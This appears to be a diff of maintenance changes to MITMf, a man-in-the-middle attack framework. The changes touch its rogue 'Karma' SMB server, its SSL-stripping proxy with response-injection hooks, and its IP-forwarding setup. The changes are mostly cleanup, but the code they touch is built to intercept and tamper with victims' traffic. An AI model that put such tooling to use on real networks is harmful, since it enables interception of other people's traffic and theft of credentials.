@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC
from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
getFileTime, queryPathInformation
class KarmaSMBServer():
class KarmaSMBServer(Thread):
def __init__(self, smb_challenge, smb_port, smb2Support = False):
Thread.__init__(self)
self.server = 0
self.defaultFile = None
self.extensions = {}
@ -105,7 +109,7 @@ class KarmaSMBServer():
if smb2Support:
smbConfig.set("global", "SMB2Support", "True")
self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig)
self.server.processConfigFile()
# Unregistering some dangerous and unwanted commands
@ -144,7 +148,6 @@ class KarmaSMBServer():
respSetup = ''
respParameters = ''
respData = ''
errorCode = STATUS_SUCCESS
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
# 1. Let's grab the extension and map the file's contents we will deliver
@ -159,11 +162,6 @@ class KarmaSMBServer():
else:
targetFile = self.defaultFile
if (len(data) > 0):
findFirst2Data = smb.SMBFindFirst2_Data(data)
else:
findFirst2Data = ''
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
@ -282,9 +280,7 @@ class KarmaSMBServer():
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
if len(data) > 0:
queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = ''
try:
@ -327,7 +323,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
# We're closing the connection trying to flush the client's
# cache.
if connData['MS15011']['StopConnection'] == True:
if connData['MS15011']['StopConnection'] is True:
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
return self.origsmb2Close(connId, smbServer, recvPacket)
@ -391,7 +387,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
errorCode = 0xff
respSMBCommand['Buffer'] = '\x00'

View file

@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher):
try:
if self.mode == 'normal':
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.conf_impacket_logger(formatter)
server = smbserver.SimpleSMBServer(listenPort=self.port)
@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher):
LOG.setLevel(logging.INFO)
LOG.propagate = False
logging.getLogger('smbserver').setLevel(logging.INFO)
logging.getLogger('impacket').setLevel(logging.INFO)
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)

View file

@ -160,11 +160,8 @@ class ClientRequest(Request):
log.debug("Sending spoofed favicon response")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
log.debug("Sending request via SSL ({})".format((client,url)))
elif self.urlMonitor.isSecureLink(client, url):
log.debug("Sending request via SSL/TLS: {}".format(url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:

View file

@ -104,8 +104,6 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
log.debug("HTTP connection made.")
self.clientInfo["clientip"] = self.client.getClientIP()
try:
user_agent = parse(self.headers['user-agent'])
@ -120,6 +118,8 @@ class ServerConnection(HTTPClient):
self.clientInfo["browser"] = "Other"
self.clientInfo["browserv"] = "Other"
self.clientInfo["clientip"] = self.client.getClientIP()
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@ -206,8 +206,8 @@ class ServerConnection(HTTPClient):
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
#log.debug("Read from server {} bytes of data".format(len(data)))
#log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
log.debug("Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))

View file

@ -20,6 +20,8 @@ import os
import logging
import re
import sys
from commands import getstatusoutput
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr
@ -33,10 +35,15 @@ def shutdown(message=None):
sys.exit(message)
def set_ip_forwarding(value):
log.debug("Setting ip forwarding to {}".format(value))
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
status, result = getstatusoutput('sysctl --help')
if status == 0:
log.debug("Setting ip forwarding to {} using sysctl".format(value))
os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX
else:
log.debug("Setting ip forwarding to {}".format(value))
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
def get_ip(interface):
try:
@ -52,7 +59,7 @@ def get_mac(interface):
try:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
except Exception as e:
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
class iptables: